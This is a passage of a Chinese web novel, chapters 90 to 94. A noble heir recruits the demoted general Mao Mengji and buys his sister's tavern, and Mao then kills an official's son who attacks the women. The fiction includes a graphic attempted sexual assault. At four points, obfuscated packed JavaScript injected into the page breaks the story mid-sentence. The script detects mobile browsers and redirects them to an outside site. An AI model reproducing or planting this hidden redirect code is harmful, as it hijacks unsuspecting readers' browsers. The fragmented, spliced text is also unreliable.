昔日,毛梦极身居丞相府要职之时,众人或许出于攀附之心而对他趋之若鹜;而今,他被赶出府门,却依然能赢得如此广泛的尊敬与欢迎,这无疑是对其人格魅力的最佳诠释。 由此观之,毛梦极此人,品德之高,人品之好,实属罕见。 顾云霆可真是下了一招臭棋,竟把这样的人才赶出家门。 既然如此,可就别怪兄弟我不讲武德了。 这样人品好,能力强,心性强大的人才不赶紧拉到自己阵营里还等什么? 第90章 世子万金之躯,不必如此 林臻缓步上前,身着一袭华贵的紫金蟒袍,腰间悬挂着一块雕琢精细的游龙玉佩,步履间尽显翩翩公子之风,引得众人纷纷投以友善的微笑,并识趣地让开道路。 他的到来如同一阵清风拂过喧嚣,将闲聊的人群轻轻吹散。 以他们的身份,连跟林臻说话的资格都没有。 林臻对此并无异议,仿佛一切都是理所当然。然而,毛梦极的反应却截然不同,他一见林臻,脸色瞬间阴沉如水,不屑地冷哼一声。随即转身,推动着手中的独轮车,朝酒楼的另一侧行去。 林臻的嘴角勾起一抹饶有趣味的笑容,悄然跟在毛梦极身后。 只见毛梦极将独轮车径直推向酒楼的后院。 一名机灵的小厮已候在那里,见毛梦极到来,连忙迎上前去,手脚麻利地开始搬卸酒坛。 小厮眼尖,一眼瞥见林臻步入院中,连忙放下手中的活计,跑过来躬身行礼:“参见贵人,不知贵人来此何为? 林臻微微一笑,语气中带着几分温文尔雅:“没事,我来看个朋友。 然而,毛梦极却全然不顾林臻的客气,他背对着林臻,语气中不耐烦的说道:“我不是你朋友,你请回吧。 “毛将军 毛梦极手上动作一顿,淡淡说道:“拜世子所赐,我已经不是将军了。 “关于你被贬的事情,我很抱歉。 毛梦极冷笑道:“呵,世子万金之躯,不必如此。 话音未落,酒楼内蹒跚走出一个三岁稚童,是个粉雕玉琢的小女娃。步伐不稳却满怀急切,一头扎进毛梦极的怀中,紧紧抱住他的大腿,奶声奶气地唤着:“爹爹! 毛梦极低头,眼中满是温柔:“平儿乖,爹爹干活呢。 “不嘛,不嘛!平儿就要爹爹抱抱! 小丫头撒娇地张开双臂,期待着被父亲高高举起。毛梦极无奈地摇了摇头,只得先在衣襟上轻轻蹭了蹭手掌,随即小心翼翼地将女儿揽入怀中,那份宠溺溢于言表。 林臻缓步至毛梦极跟前,脸上漾开温柔的笑意,目光地落在面前那个天真烂漫的小姑娘身上。 小姑娘一点也不怕生,反倒以一抹纯真无邪的甜笑回应了林臻的注视。 “多可爱的姑娘啊,你忍心让她在这风尘场所里长大? 毛梦极说道:“我的女儿,自该随我,这是她的命。 林臻轻叹一声,言辞中带着几分惋惜:“你分明有着更为光明的前路可走,为何偏要这般作践自己呢 ?” “世子的话,恕在下不明白。” 林臻伸手想抱抱小姑娘。 结果毛梦极却抱着闺女转身,丝毫不给面子。 林臻的手尴尬地悬在半空,最终缓缓落下,轻轻摩挲着鼻尖,苦笑中带着一丝无奈。 “顾云霆不仅私欲横流,贪赃枉法,坑害百姓;御下更是鸡肠鼠肚,视人命如草芥。这种人绝非明主,你早该离开的。” 毛梦极闻言,眼神坚定,语气中带着不容置疑的决绝:“想我毛某人出身寒微,是丞相提拔了我,将我全家带至京城,不至于冻饿而死。这份恩情,我必须要报。如果世子是想利用我来对付丞相,那就免了吧。” 林臻说道:“非也,我根本不需要你来对付顾云霆,这不是你的强项。你是马上将军,驰骋疆场才是你应该做的事情,也是你的夙愿。倘若你愿意追随于我,我自当委你重任,前往清河县担任折冲都尉一职,专职练兵育将。若在三个月后的乾楚大战中立功,另行封赏。” 毛梦极闻言,仿佛耳畔响起惊雷,眼中闪过一抹难以置信:“你说什么?三个月后我国竟要与楚国兵戎相见?” 林臻轻轻点头,神色凝重:“不错,但此事干系重大,务必守口如瓶,不可泄露半分。” 毛梦极的目光在怀中女儿的稚嫩面庞上徘徊,心中涌动着复杂的思绪,迟迟未决。 林臻见状并未催促,只是轻轻拍了拍他的肩头,语带鼓励:“真正的男儿,心怀广阔天地,英雄豪杰,当以热血洒满疆场。这酒楼的方寸之地,岂是你的归宿?” 言毕,林臻洒脱转身,步伐坚定地迈向远方。 毛梦极依旧矗立原地,仿佛被林臻的话语深深触动,神思游离于现实与梦想之间,久久未能回神。 林臻说的没错,他最大的愿望就是能够替大乾征战沙场,虽百死而马革裹尸,但兵权一直在林震仙手里,令他英雄无用武之地,只能屈身于丞相府内,替顾家干脏事。 现在林震仙的孙子亲自来招揽,让他有了新的希望,可是林家与丞相家是对手啊! 他心里那道坎,横亘在理想与现实之间,令他踟蹰不前, 正当思绪万千,难以抉择之际,怀中的平儿,那双清澈如水的眼眸闪烁着纯真的光芒,满怀憧憬地问道:“爹爹是将军吗?” “我”毛梦极一时语塞。 我是吗? 毛梦极突然就不自信了。 恰在此时,温柔的声音自酒楼门槛处传来,打断了这份沉默。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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万一以后林家让自己对付丞相怎么办? 正当他在这道德的十字路口徘徊不定之时,店小二匆匆而至,打断了他的思绪,对着毛月妩轻声禀报:“老板,那位世子爷去而复回,说是要在咱这儿吃饭!” 毛月妩闻言,面色瞬间凝重,迅速吩咐道:“你们小心伺候,我即刻便来!” 言罢,她的身影匆匆消失在门后。 第91章 曹贼可做,我亦可做 类似月妩酒楼这样的小客栈,京城没有二十家也有十五家。 它坐落在西市与光明巷的拐角,占地面积不过区区两亩,楼高三层,外观朴素无华,未施粉黛,没有丝毫张扬之气,步入其中,更觉其质朴无华,平平无奇。 如果是胖子、德豪他们看到,肯定会认为这间酒楼配不上林臻的身份,但林臻却在这里感受到了一番温馨之意。 酒楼空间虽小,略显局促。只有十张历经风霜的桌椅,桌面上斑驳的痕迹诉说着岁月的故事,凳面上不经意间缝腻的补丁,仿佛是时间的低语,讲述着过往行人的匆匆与停留。 几根纤细的梁柱,材质平凡,毫不起眼,表面密布着钉子留下的孔洞与划痕,有的地方也已经包浆。一张不知道用了多少年的柜台,错落有致地摆放着算盘与泛黄的账本。 没看见账房,想来应该是月妩亲自算账吧。 这里,不是权贵们把酒言欢之地,而是为小本经营的商贩、进城售卖新鲜蔬菜的农夫、风尘仆仆的镖师以及邻里街坊留有的一席之地。 在这里,每一砖一瓦都承载着平凡生活的温度,讲述着不为人知的市井故事。 月妩酒楼,就像是京城喧嚣中的一抹温柔,接纳着那些囊中羞涩却不得不为生活奔波的人们,给予他们一碗热饭,一丝慰藉。 这里没有浮华与算计,没有勾心斗角。只有简单而真实的人间烟火气,缓缓流淌。 林臻进来的时候正赶着饭点,破衣烂衫的食客很多,他们三五成群地围在桌子边笑声朗朗,吵吵闹闹。然而,当林臻的身影出现在众人的视线中时,那些欢声笑语戛然而止,大厅瞬间安静下来。 二狗不禁得意地勾起嘴角,朝着一旁忙碌的店小二高声吆喝起来。 “小二!” “来了,几位军爷,打尖还是住店?”店小二眼尖的瞧见了林臻,却是不敢直接与他搭话,只将询问的目光和话语投向了那三位身着军装的男子。 二狗和侯春还没觉得有什么,唯独韩忠对这个称呼很不喜地皱眉。 他总觉得自己有种仗势欺人的意思。 二狗歪着嘴,霸气地挥了挥手:“少废话,给狗爷上最好的酒,最好的菜!速度还要快!听说你这老板娘长得挺水灵,也喊出来,陪我们家世子喝酒!” 店小二面露难色,迟疑了一瞬。 “嗯?!”二狗眼神一凛,猛地一瞪,吓得店小二浑身一颤,连忙点头哈腰:“是是是,小的这就去办!” 林臻悠然自得地寻 了张桌子坐下,另一位店小二见状连忙小跑过来,双手微颤地重新擦拭着桌面,每一个动作都透露着小心翼翼,待一切妥当后,这才陪着笑脸,蹑手蹑脚地退了下去。 二狗他们则是另外找了张桌子坐下。 主仆不同席嘛,这是规矩。 毛月妩闻讯疾步而来,神色匆匆间,发髻上的簪子尚未插定,摇曳身姿中带着几分慌乱。及至林臻面前,她忙不迭地以温婉之姿行了一礼:“妾身月妩,拜见世子。” 林臻缓缓抬眼,目光掠过这位女子。 只见她约莫二十六七的年岁,身姿高挑,一袭乌黑长发如瀑般披散在肩头,左侧眼下藏着一颗细腻而不张扬的美人痣,为她的容颜平添几分独特韵味。 肤色白皙如玉,双手轻轻交叠于小腹前,指尖透露出的细腻与柔美,显然是没干过重活的。 尽管名字中带着一个“妩”字,但她举手投足间并无半分妖娆妩媚,反倒是一袭长裙将她包裹得严严实实,端庄雅致,即便是天鹅颈上也裹着一层白纱,也未曾有丝毫轻露。 原书中对月妩的介绍不多,只是在提及毛梦极之时,轻轻掠过一笔,未曾深入描绘。狗作者也并没有把她安排给顾北辰当后宫。 然而,今日一见却让林臻心中生出几分异样的感觉,觉得这位女子颇有几分耐人寻味之处。 他嘴角勾起一抹饶有兴致的笑意,自然而然地问道:“你就是毛将军的姐姐?” 月妩微微欠身,声音温婉:“正是妾身,不知世子今日前来所为何事?” 林臻饱含深意的微笑:“来饭馆,当然是吃饭了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789224|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >月妩闻言,恍然一笑,连忙应承“额,对对对,妾身这就去给您准备最好的酒菜。” 言罢月妩对小二喊道:“柱子,赶紧让老罗备菜!四凉四热,要最好的!” “得嘞!” “毛老板没什么事的话,可否陪我喝两杯?” “额”月妩的手心渗出细密的汗珠,不自觉地紧紧交叠在一起。 她是店老板,也是这周围出了名的清高女子。 那些颇有家产的富商以及官员、纨绔,都曾来过,也都想在她身上沾点便宜。 但岳妩从来不对任何人加以颜色。 她最经常说的一句话就是:我弟弟是将军,请你自重。 这句话,如同一道无形的屏障,将那些心怀不轨的觊觎者一一挡在了门外。 可世事无常,现在毛梦极被贬为庶民的消息在坊间传播。 这一变故,让那些昔日里因她身份而有所收敛的色鬼们又蠢蠢欲动起来,纷纷借着探问之名,行骚扰之实。 昨天工部侍郎的儿子廉松就过来,说是要保养她,甚至光天化日就动手动脚起来,若非毛梦极恰好在侧,及时阻拦,她怕是要吃大亏。 而今,林臻竟又提出让她陪酒的无理要求,这无疑已深深触碰到了她的底线。 月妩心中五味杂陈,此行径虽非她所愿,但林臻与那些登徒子不同,他是王府世子,地位显赫!是位连皇帝都奈何不得的人物!更别说他即将成为弟弟的伯乐,让弟弟重回沙场。 想到这,岳妩不禁暗暗咬紧贝齿。 为了梦极,即便是杯毒酒,饮下又何妨? 林臻的目光中带着几分玩味,静静地审视着她,却不急于催促。 其实他心里没有太多想法,就是想和毛家拉近拉近感情,也暗自希望通过月来招揽毛梦极。 遥想当年曹贼为求关羽,赠赤兔,赏银钱,送美女都没留住他的心,最终还是过关斩将,曹贼亦甘愿放行,成就了一段佳话。 曹操身为一代枭雄,尚且能为下属做到如此地步,自己不过是举杯共饮,区区小事,又何足挂齿? 第92章 女人啊,真是难搞的很啊。 月妩缓缓落座,紧挨着林臻,身形略显僵硬,仿佛每一根神经都紧绷着,不敢有丝毫造次。 她是真怕林臻会突然对她动手动脚,那样自己多年的名节不就毁于一旦了么。 最重要的是,万一他色起,自己是该奋力反抗保全清白,还是为了弟弟的光明前程,强忍屈辱,佯装一切未曾发生? 正当月妩心绪纷乱,胡思乱想之际,酒菜已被小二逐一摆上桌面。 出乎意料的是,林臻只是淡然地拿起筷子准备用餐,自始至终未发一言,就连酒水也是亲自斟酌。 月妩这才反应过来,暗暗责怪自己。 唉,自己真是年纪越大,内心戏越多。 人家堂堂摄政王世子,要什么样的女人没有?怎会看上人老珠黄的自己呢! 月妩笑道:“世子,刚才是妾身恍惚了,这就给您介绍下菜品。” 说着月妩拿起筷子,指着其中一道热菜说道:“世子,这是捣珍,也算是我们这里的特色,肉质弹口,香气四溢,您快尝尝。” 说是捣珍,其实就是把羊肉,鹿肉的里脊肉反复捶打后蒸熟的一道菜。 做工精致,吃起来也还行。 但这个年月没味精,所以林臻吃什么东西都一般般,没有特别鲜亮的感觉。 林臻随意地拨弄了两下筷子,夹起的菜肴几乎未及品尝便又放下了。 他目光悠然地望向月妩,缓缓开口:“我瞧你这酒楼生意不错,不如卖给我吧,你开个价。” 月妩闻言,面上闪过一丝错愕,轻启朱唇:“啊?这妾身并无将酒楼出手之意啊。” “你们已经失去了顾家的庇佑,以你的长相恐怕很难在那些纨绔手里保全自己。不如跟着我,以后还能安全些。” 林臻的话语虽然直白,却句句在理,毫不夸张。 试想,若真有哪位权贵对月妩心生邪念,凭她自己恐怕连挣扎的余地都没有。 与其这般无助,倒不如紧紧依傍林家这棵参天大树,让那些心怀不轨之徒不敢轻举妄动。 月妩深吸一口气,胸腔间漾起一抹决绝:“世子,您当真愿意保护我们吗?” “如果我买了你的酒楼,那你就是我林家的掌柜。在京城这一亩三分地上,我真不知道谁有那个胆子敢和林家过不去。” “呼,世子所言极是,那妾身,恭敬不如从命吧。” “呵呵呵,不错,你是一个聪明的女人,我很喜欢。” 这句不经意的话语,却在月妩的心里激起层层 涟漪,仿佛春日里的一缕微风,轻轻搅动了平静的水面。 她今年已经二十七岁了,还未嫁人。这在大乾是很难想象的事情,难免招致诸多非议与揣测。 有人私下里议论,说她或许身染隐疾,或是天生石女,更有甚者,言之凿凿地称她为天煞孤星,注定克夫。这些言语如同锋利的刀片,无声无息地在月妩的心上划过,留下一道道难以愈合的伤痕。 每当夜深人静之时,她只能独自蜷缩在角落,任由泪水打湿衣襟,却无力去改变那些指责与偏见。 曾有人暗暗向她表露过倾慕之情,亦有人对她的身材赞不绝口,笑言愿娶她为妻。 然而,那些不过是浮浪子弟的随口玩笑,从未有人像林臻这般在大庭广众之下,堂而皇之地表白过! 这如何不让她的少女心再次小鹿乱撞呢? 林臻看到月妩的脸红红的,于是问道:“你怎么了?” 打死林臻也想不到,自己平平常常的一句话竟让月妩生出这么多内心戏。 女人啊,真是难搞得很啊。 “妾身.”月妩摸了摸自己滚烫的脸颊,一时间竟不知道说什么好:“妾身.谢世子大恩。以后愿为世子做牛做马,尽心尽力。” “这这倒不必.”林臻尴尬地摸了摸鼻子。 我还什么都没说呢! 这怎么就突然上升到做牛做马的高度了? 月妩恍觉言语有失,连忙双手恭谨地捧起酒盏,眸光流转间,轻声细语:“妾身,敬世子一杯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789225|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “好。”林臻微微一笑,两盏轻碰,发出清脆悦耳之声。 宴席渐散,酒意与欢愉盈满室内,月妩的脸庞更添了几分娇艳,仿佛春日里初绽的桃花,不经意间流露出几丝妩媚风情。 她以纤手轻掠鬓角青丝,每一次浅笑,都似能倾倒众生,美得不可方物。 真是个极品女人啊。 而且她还不喜欢顾北辰,林臻也省去很多麻烦。 眼看二狗他们也吃得差不多了,便起身准备告辞:“明天我会派人把钱送过来,你好生休息。” “多谢世子,妾身送您。” 林臻招呼二狗几人,转身离开。 月妩回到酒楼,此刻酒楼内宾客满座,人人面带笑意,纷纷向她拱手致贺。 “恭喜毛老板,此番攀上王府高枝,日后京城之内,定能风生水起,无人敢轻易招惹了!” “对啊,有了王府这座靠山,看谁还敢小觑于你!” “往后若是遇到不长眼的,只需报上世子的名号,保管吓得他们屁滚尿流!” “哈哈哈哈。” 宾客们的话语中充满了羡慕与敬畏,一阵爽朗的笑声在酒楼内回荡。 月妩微笑着向众人作揖回礼,温婉的声音中带着几分豪气:“多谢诸位捧场,今日的酒菜,全算我的!” “多谢毛老板慷慨!”宾客们纷纷道谢,喜悦之情溢于言表。 月妩今天心情极好,不仅弟弟受到林臻的亲自招揽,自己也重新靠上大树,以后在京城至少能免去诸多侵扰。 晚间,月妩送走了全部客人,来到门前准备闭门休息。 恰在此时,尚未关闭的门被人用力推开,月妩惊呼一声:“啊!” 只见一个肥胖男子,浑身散发着刺鼻的酒气,踉跄着闯入门槛。 他的脸上挂着猥琐的笑容,一双眼睛在月妩身上肆意游走,言语间满是轻薄:“呦~小娘们,还没休息呢?是不是在等哥哥呀!” 来者不是别人,正是工部侍郎的儿子,廉松。 第93章 叫破喉咙也没人救你! 月妩的脸色倏地一白不由自主地往后撤了几步声音中带着一丝颤抖:“廉少我们打烊了。” “打烊了?笑话我廉松想吃的饭就没有打烊这一说!”廉松满身酒气眼神中闪烁着不怀好意的光芒脚步踉跄地迈过门槛一只手肆无忌惮地伸向了月妩的脸颊。 那胖胖的咸猪手令人作呕月妩惊恐万分赶紧躲开:“啊!你要干什么!” “呦?会躲!好啊老子就喜欢玩猫抓老鼠!哈哈哈哈哈!”廉松放声狂笑笑声中带着几分淫邪他愈发肆无忌惮地向月妩逼近仿佛一头失控的野兽。 与此同时随他一同前来的几个爪牙也将店小二和厨师等人团团围住将他们逼至墙角一顿拳打脚踢场面混乱不堪。 廉松双手在空中胡乱挥舞所过之处桌椅板凳纷纷倾倒一片狼藉。 月妩躲闪不及竟被绊倒她瘫在地上条件反射地大喊:“你别过来!我弟弟是将军!” 廉松身形一顿不屑地啐了口唾沫:“将军?屁!一个顾家不要的狗而已也敢拿出来在我廉松面前放肆!?臭娘们若识相点 月妩突然想起来自己已经是林臻的人了。 她顺势一滚躲进柜台后面起身手里举着花瓶喊道。 “今天林臻已经将酒楼买下来了我现在是她的人!你若胆敢胡来我就让世子治你的罪!” “你少他妈拿林臻吓唬我!人家堂堂世子会买你这破地方?把花瓶放下让老子好好爽一下说不定还能多给你点钱!” 廉松话音未落又一次猛地扑了上来。 月妩情急之下把花瓶狠狠扔了出去只可惜并没有砸到他! “砰!”花瓶应声而碎碎片散落一地。 廉松的脚步微微一顿脸色瞬间阴沉如水:“臭娘们你还真敢扔我?找死!” 怒喝声中廉松跑进柜台后面手臂一挥一巴掌狠狠扇在月妩娇嫩的脸上:“啪!” “啊!!” 月妩发出一声凄厉的尖叫摔倒在地嘴角已经有血流了出来。 廉松还嫌不够单手揪住她的头发直接拽出柜台狠狠丢在地上。 “跑啊你继续跑啊!你不是装清高吗?看老子今天怎么玩你!”廉松胖胖的身体直接骑在月妩肚子上双手抓住她的衣领一用力。 撕啦! 洁白的纱裙被撕得粉碎白色的肚兜清晰可见。 廉松见状更是兴奋异常。 “哇哈哈哈,真香啊,小娘们,准备好让老子疼爱你了吗? 月妩摇头痛苦,大声呼喊:“梦极,救我! “哈哈哈,你就是叫破喉咙也没人能救你! 这时候,住在后院的毛李氏听到动静,不知道发生了什么,带着平儿走过来。 却见月妩被一个陌生男子压在身上,毛李氏心下一惊,脱口而出的呼唤带着几分颤抖。 “姐姐! 目光瞬间被毛李氏那不输凡尘的姿色所吸引,嘴角勾起一抹淫邪的笑意,放肆地嚷道:“呦?没想到还有一个!!哈哈哈,老子今天有福了! 廉松放开月妩,转身又朝毛李氏扑了过去。 毛李氏吓得花容失色,紧握平儿的小手,二人转身便逃往后院,边跑边喊:“夫君!! 她一个弱女子哪有廉松跑得快,只见廉松突然一个飞扑,将她扑倒在地,随即搂着她上.下.其.手。 “哈哈哈哈,小娘们发育得不错啊! 平儿吓得魂飞魄散,泪水如泉涌般倾泻而出:“娘!娘!坏蛋,你放开我娘! “滚!廉松怒喝一声,猛地一甩手,将平儿那小小的身体甩到一旁。平儿踉跄着爬起身,带着哭腔大喊“爹爹!爹爹! 此刻,毛梦极正站在门外面专心致志地给围墙抹着腻子。街市上人来人往,热闹非凡,他丝毫未察觉到屋内的异样。 直到听见女儿那焦急且撕心裂肺的呼喊,他才猛地回过神来,扔下手中的工具,急匆匆地跑进院子。 刚一踏入院子就看到自己妻子在被别人欺负,女儿趴在地上哭泣。 毛梦极当即眼睛就红了,抄起扁担冲了上来,狠狠敲在廉松脑袋上。 “廉松,我草你血妈!毛梦极怒吼着,每一个字都仿佛是从牙缝中挤出来的,充满了无尽的愤怒与仇恨。 “砰! “啊!!哎呦我草! 廉松被这一棍子打得天旋地转,眼冒金星,松开手紧紧捂住渗出血迹的额头,整个人无力地瘫坐于地,口中发出阵阵痛苦的喊叫。 “夫君!呜呜呜.毛李氏惊恐万分,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789226|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子不由自主地颤抖着,站起身躲在毛梦极身后,声音中带着哭腔:“夫君,他刚刚欺负了姐姐! 听闻姐姐也遭此人毒手,毛梦极的理智瞬间被愤怒吞噬。 他不管不顾,手中的扁担再次挥舞而起,带着呼啸的风声,狠狠地砸在了廉松已然受伤的脑袋上。 “砰!” “啊!!” “毛梦极,你敢打我!?我爹是廉强!”廉松的声音里充满了愤怒。 毛梦极咬紧牙关,浑身力气汇聚一处,再次挥起那几乎与他手臂一样粗的扁担,怒喝道:“我他妈管你是谁,老子今天杀了你这个人渣!” “砰!” 伴随着一声震耳欲聋的巨响,扁担应声而断。廉松那臃肿的身躯也随之如小山崩塌,重重地摔落在地。 月妩闻声从后门疾步冲出,望见廉松已无力地躺倒在地,无一丝生气。 泪水瞬间决堤,她不顾一切地扑进毛梦极的怀中,紧紧搂住他,泣不成声。 “弟弟.吓死我了”她声音颤抖,满是劫后余生的惊魂未定。 “姐姐,没事了。” 毛梦极温柔地拍打着她的背脊,同时也将妻子揽入怀中,三人紧紧相依,仿佛要借此驱散所有的恐惧与不安。 平儿那小小的身影,也从身后紧紧抱住父亲的大腿,稚嫩的脸上挂满了泪痕,一家四口,在这突如其来的遭遇中泪水交织,情感涌动,所有的言语都化作了此刻无言的拥抱。 片刻的沉寂后,毛李氏缓缓自毛梦极的胸膛间抬起满是泪痕的脸庞,目光落在那已无声息的廉松身上,声音细若游丝:“夫君,他应该死了吧?” 毛梦极嘴角勾起一抹不屑,冷哼道:“哼,豆腐脑都打出来了,不死才怪。” 毛李氏闻言,身躯又是一颤,恐惧如同寒冰般沿着脊背蔓延:“可廉强岂会善罢甘休?我们该如何是好啊?” 毛梦极沉默了,其实他也不知道该怎么办。 廉松虽然该死,但也是朝廷官员,他父亲更是当今工部侍郎廉强,与顾家十分交好。 若是怪罪下来,这一家人也抵不了廉松的命。 正当绝望如乌云般笼罩之际,月妩眼睛一亮,说道:“找世子!他一定能帮我们!” 第94章 真的,你把鞋袜脱了给我看看。 酒楼里发生的一切林臻还不知情,此刻他刚刚回到府中,退去繁重的外袍,摘去璀璨的金冠,一头乌黑浓密的发丝便如瀑布般自然垂落在肩头,为他平添了几分不羁与洒脱。 诚然,林臻内心深处对古人蓄发的风尚抱有难以言喻的喜爱。 以前在基层的时候因为工作压力太大,头发一把一把地掉,二十八岁时就已经出现斜顶的征兆,三十岁时就已经是M型鬓角了。 虽说成功男人总是聪明绝顶的,但谁又不希望自己有一头密实的头发呢?难道说斯坦森就喜欢秃顶?平安就喜欢剃光头么?还不是因为头发少。 唯独令人头疼的是,这一头长发很不好打理,倘若隔上一日不洗就会有味道,三天不洗就会打结,古代又没有洗发水,用藻豆、煤灰搓出来的头发总有一股子怪味。 等日后腾出空来研究个香皂吧,既能赚钱又能方便自己。 此刻,暮色刚刚温柔地拥抱着大地,一缕晚风透过窗棂悄然潜入,带来几分凉爽与惬意。 林臻悠然自得地坐在椅子上,看着正给低头给自己洗脚的浣碧,目光温柔。 小妮子手中的动作轻柔而细致,又洗得很认真。 没有丝毫嫌弃的用自己的贴身手绢,把脚趾缝里都搓得干干净净,边洗还边唠叨。 “世子真该每天都泡泡脚的,奴婢听人家说泡脚不仅能延年益寿,还能不生病!瞧瞧您的脚趾,多好看呀,又白又干净!可不能像那些糙汉,把脚弄得臭臭的。” 浣碧言语间鼻尖轻轻皱起,仿佛空气中已悄然弥漫起某种难以言喻的气息。 她身为王府后院的掌事,那些小厮仆役的房间没少进去。每踏入一处,总免不了要先捏住鼻子,然后狠狠把这群邋遢鬼数落一顿。 林臻以手肘撑着膝盖,目光中带着几分玩味地看着她,望向浣碧:“我的脚再好看,也没你的好看。” 浣碧闻言,嘴角微翘,眼中却满是狐疑:“世子又胡说了,您什么时候看过奴婢的脚?” “现在,你把鞋袜脱了我看看。”林臻笑言,眼神中带着几分认真与玩笑。 浣碧像听到什么惊世骇俗的言论,当即拒绝:“可不行!女子的脚怎么能露在外面呢,那可是烟花之地女子才有的行径!” 言毕,她匆匆起身,从一旁取来柔软的毛巾,小心翼翼地将林臻的双脚捧起,温柔地擦拭着,任由那晶莹的水珠沿着她的裙摆缓缓滑落,留下一道道淡淡的痕迹。 林臻只是静静地坐着,目光柔和而深邃。 有妻当此,夫复何求啊。 浣碧将洗脚水倒掉,又在水盆里净了手,这才端着茶步伐轻盈地回到卧房。 “世子请用茶。” 林臻微笑着接过那精致的茶盏,轻啜一口,茶香四溢,暖意融融:“碧儿,有件事情,我想交给你。” “世子请吩咐,奴婢听着呢。” “我成立了一个马车行,现在还缺个大掌柜,不如你去盯着吧?” “啊?”浣碧闻言,秀眉微蹙,小嘴不自觉地张成了一个可爱的圆形。 随即又迅速摇了摇头,眼神中闪过一丝委屈,“世子.奴婢就想伺候您,哪也不想去。” 林臻笑道:“呵呵呵,这可是个很有油水的活儿,你确定不干?” “奴婢才不要那么多钱呢!钱多了反而是祸害!”浣碧来到林臻身后,灵巧的小手不断捏着肩膀。 “要奴婢说,世子也别出去抛头露面的了,您是人中之龙,朝堂才是您的大展宏图的地方。老爷的俸禄也够我们花的。” 小丫头哪里懂钱财的重要性啊。 只可惜自己手里能用的人才太少了,只有一个张俪,还不愿意接手。 如果自己亲力亲为,那别的事情就不用做了。 难啊。 林臻拍了拍浣碧的手,将她拉到自己腿上。 浣碧刚开始还扭捏两下,后来便坐着不动了,低着头,脸蛋白里透红的煞是好看。 其实这世间的真话本就不多,一个女子的脸红,便胜过一大段对白。 林臻搂着她说道:“钱不是万能的,但没有钱是万万不能的。我们要想办法赚最多的钱,才能有最好的生活。” “其实.能和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789227|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世子在一起,就是奴婢最好的生活了。”浣碧的声音细若蚊蚋,随着话语的流淌,她的头颅愈发低垂,一抹娇羞悄然爬上脸颊,宛如春日里初绽的桃花。 林臻捏住她精致的下巴:“再低头都要埋胸里了。” “哎呀世子!那等私密之处.岂能是用来说的.”浣碧的脸颊瞬间染上了绯红,眼中闪烁着羞涩与慌乱。 “哈哈哈哈,今晚别守着蚊帐了,让别人来,咱俩睡床上。” “啊这.”浣碧闻言,心中既是惊喜又是忐忑。 自己最期盼的事情,终于要发生了吗? 世子终于肯和我. 听说那种事情很痛的呢~ 刘书瑶和小翠都恨不得把嗓子喊破了。 浣碧奇奇怪怪的想法才刚冒出来,门外便响起了不 轻不重的敲门声,紧接着,晴雯那清脆悦耳的声音穿透门扉。 “世子,有个叫毛梦极的在府门外,说是有急事求见。” 毛梦极? 急事? 林臻心底涌起一股不好的预感。 这哥们不会出事了吧? 念头一闪,林臻也顾不得许多,随手将浣碧放下,仅穿贴身衣物,便急匆匆地要往门外赶去。 浣碧眼疾手快,一把拉住了他的衣袖,柔声关切道:“世子!晚上凉,披件衣服再去吧。” 言罢,她轻巧地将一件柔软温暖的毛绒大氅披在了林臻的肩头。 林臻会心一笑,只奔府门外。 来到门口,就见到毛梦极四人。 月妩率先迎上来:“拜见世子。” “不必多礼,这大半夜的怎么突然过来?发生什么事了?” 月妩瞬间就有悲伤涌进心头,带着哭腔说道:“求世子救命!梦极他他杀人了” “杀人?” 林臻第一反应,就觉得好像也不是太大的事情啊。 至少和胖子夜闯喇嘛庙是没法比。 这时,毛梦极嘴巴动了动,很为难地说道:“准确的说,应该是五个人。” 